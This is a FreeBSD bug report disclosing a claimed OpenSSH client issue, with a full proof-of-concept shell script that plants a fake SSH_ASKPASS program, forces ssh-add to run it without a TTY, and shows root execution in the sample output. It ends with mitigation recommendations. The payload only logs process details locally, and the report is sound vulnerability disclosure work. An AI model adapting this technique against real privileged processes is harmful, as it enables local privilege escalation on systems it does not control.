https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=290961

            Bug ID: 290961
           Summary: Arbitrary Code Execution via SSH_ASKPASS in OpenSSH
                    Client LPE
           Product: Base System
           Version: 14.3-RELEASE
          Hardware: amd64
                OS: Any
            Status: New
          Severity: Affects Many People
          Priority: ---
         Component: bin
          Assignee: [email protected]
          Reporter: [email protected]

===============================================================
PoC: Arbitrary Code Execution via SSH_ASKPASS in OpenSSH Client
===============================================================

Date: 2025-11-11
Tested on: FreeBSD 14.3-RELEASE
OpenSSH Version: OpenSSH_9.9p2
Impact: Arbitrary Code Execution, Local Privilege Escalation (LPE)
Reporter: Igor Souza ([email protected]) - https://www.linkedin.com/in/igo0r

=======================================================================

[1] VULNERABILITY SUMMARY
--------------------------
This PoC demonstrates that the OpenSSH client (`ssh-add`) will blindly execute
any script defined in the SSH_ASKPASS environment variable, **even without a
TTY**,
as long as the following conditions are met:

  - `SSH_ASKPASS` points to a user-controlled script
  - `SSH_ASKPASS_REQUIRE=force` is set
  - `DISPLAY` is set to any value (e.g. `:1`)
  - stdin is detached (e.g. redirected to /dev/null)

If a privileged process (like `sudo -E`, a systemd service, or CI pipeline)
inherits
these variables from an unprivileged user, **arbitrary code execution as root
is possible**.

This behavior is default and not currently mitigated.

=======================================================================

[2] FULL PoC SCRIPT: x5.sh
---------------------------
-------------------------------------------------------------
#!/bin/sh
# x5.sh — Full PoC for SSH_ASKPASS execution (OpenSSH)

ASKPASS="/tmp/fake_askpass.sh"
KEY="/tmp/testkey_askpass"
LOG="/tmp/poc_askpass_log"
DAEMON_LOG="/tmp/poc_askpass_daemon.log"

echo "[*] Cleaning old files..."
rm -f "$ASKPASS" "$KEY" "$KEY.pub" "$LOG" "$DAEMON_LOG" 2>/dev/null

echo "[*] Creating malicious SSH_ASKPASS script at $ASKPASS..."
cat << 'EOF' > "$ASKPASS"
#!/bin/sh
LOG="/tmp/poc_askpass_log"

{
  echo
  echo "===== SSH_ASKPASS TRIGGERED ====="
  date
  echo "UID/GID: $(id)"
  echo "PWD: $(pwd)"
  echo "PID (ASKPASS): $$"
  echo "PPID: $PPID"

  echo "[*] Parent process:"
  ps -p "$PPID" -o pid,ppid,uid,gid,command=

  echo "[*] Current process:"
  ps -p "$$" -o pid,ppid,uid,gid,command=

  echo "[*] Environment variables:"
  echo "SSH_ASKPASS=$SSH_ASKPASS"
  echo "SSH_ASKPASS_REQUIRE=$SSH_ASKPASS_REQUIRE"
  echo "DISPLAY=$DISPLAY"

  echo "[*] Arbitrary execution (ls /tmp):"
  ls /tmp

  echo "===== END OF SSH_ASKPASS ====="
} >> "$LOG"

# Provide password to ssh-add
echo "test"
EOF

chmod +x "$ASKPASS"

echo "[*] Generating password-protected key..."
yes y | ssh-keygen -f "$KEY" -N 'test' -q

echo "[*] Starting isolated ssh-agent..."
eval "$(ssh-agent -s)" >/dev/null

echo "[*] Running ssh-add without TTY (via daemon)..."
daemon -f -o "$DAEMON_LOG" \
    env DISPLAY=:1 \
        SSH_ASKPASS="$ASKPASS" \
        SSH_ASKPASS_REQUIRE=force \
        ssh-add "$KEY" </dev/null

sleep 3

echo "[*] Killing ssh-agent..."
ssh-agent -k >/dev/null 2>&1

echo "[*] Output from SSH_ASKPASS script:"
if [ -s "$LOG" ]; then
  cat "$LOG"
else
  echo "[-] No log captured. Possible issue:"
  echo " - SSH_ASKPASS not executable"
  echo " - ssh-add failed silently"
  echo " - Check $DAEMON_LOG"
fi
-------------------------------------------------------------

Make it executable:
$ chmod +x x5.sh

Run:
$ ./x5.sh

=======================================================================

[3] EXPECTED OUTPUT
-------------------------------------

===== SSH_ASKPASS TRIGGERED =====
Tue Nov 11 13:48:15 -03 2025
UID/GID: uid=0(root) gid=0(wheel)
PWD: /root
PID (ASKPASS): 5047
PPID: 5046

[*] Parent process:
5046 5044 0 0 ssh-add /tmp/testkey_askpass

[*] Current process:
5047 5046 0 0 /bin/sh /tmp/fake_askpass.sh

[*] Environment variables:
SSH_ASKPASS=/tmp/fake_askpass.sh
SSH_ASKPASS_REQUIRE=force
DISPLAY=:1

[*] Arbitrary execution (ls /tmp):
fake_askpass.sh
testkey_askpass
testkey_askpass.pub
poc_askpass_log
poc_askpass_daemon.log

===== END OF SSH_ASKPASS =====

=======================================================================

[4] REAL-WORLD IMPACT
----------------------

This behavior becomes a security issue in scenarios such as:

- Sudo session with preserved environment:
    $ sudo -E ssh-add /some/key </dev/null

- A CI/CD job or systemd service using ssh-add inherits SSH_ASKPASS

- A cronjob/script runs ssh-add without TTY in an environment controlled
  by a lower-privileged user

In these cases, **arbitrary code execution as root is achieved without any
exploit** —
just environmental control.

=======================================================================

[5] WHY IT'S A SECURITY VULNERABILITY
--------------------------------------

✔ OpenSSH **executes whatever is in SSH_ASKPASS** — no ownership or permission
check  
✔ Accepts `SSH_ASKPASS_REQUIRE=force` **even without user interaction or TTY**  
✔ No check on environment trust level — variables can be inherited across
privilege boundaries  
✔ Exploitable with 100% legit tools: no buffer overflow, no ptrace, no race
condition — just logic abuse  

It's a **trust boundary violation** when unvalidated input (environment) leads
to privileged command execution.

=======================================================================

[6] RECOMMENDATIONS
--------------------

- Ignore SSH_ASKPASS_REQUIRE=force if no TTY is present
- Validate SSH_ASKPASS:
    - Only run scripts owned by current user
    - Check permissions (no world-writable)
    - Possibly restrict path to a secure directory
- Sanitize environment before launching ssh-add in privileged contexts
- Warn if SSH_ASKPASS is inherited or behavior is forced non-interactively

-- 
You are receiving this mail because:
You are the assignee for the bug.

Reply via email to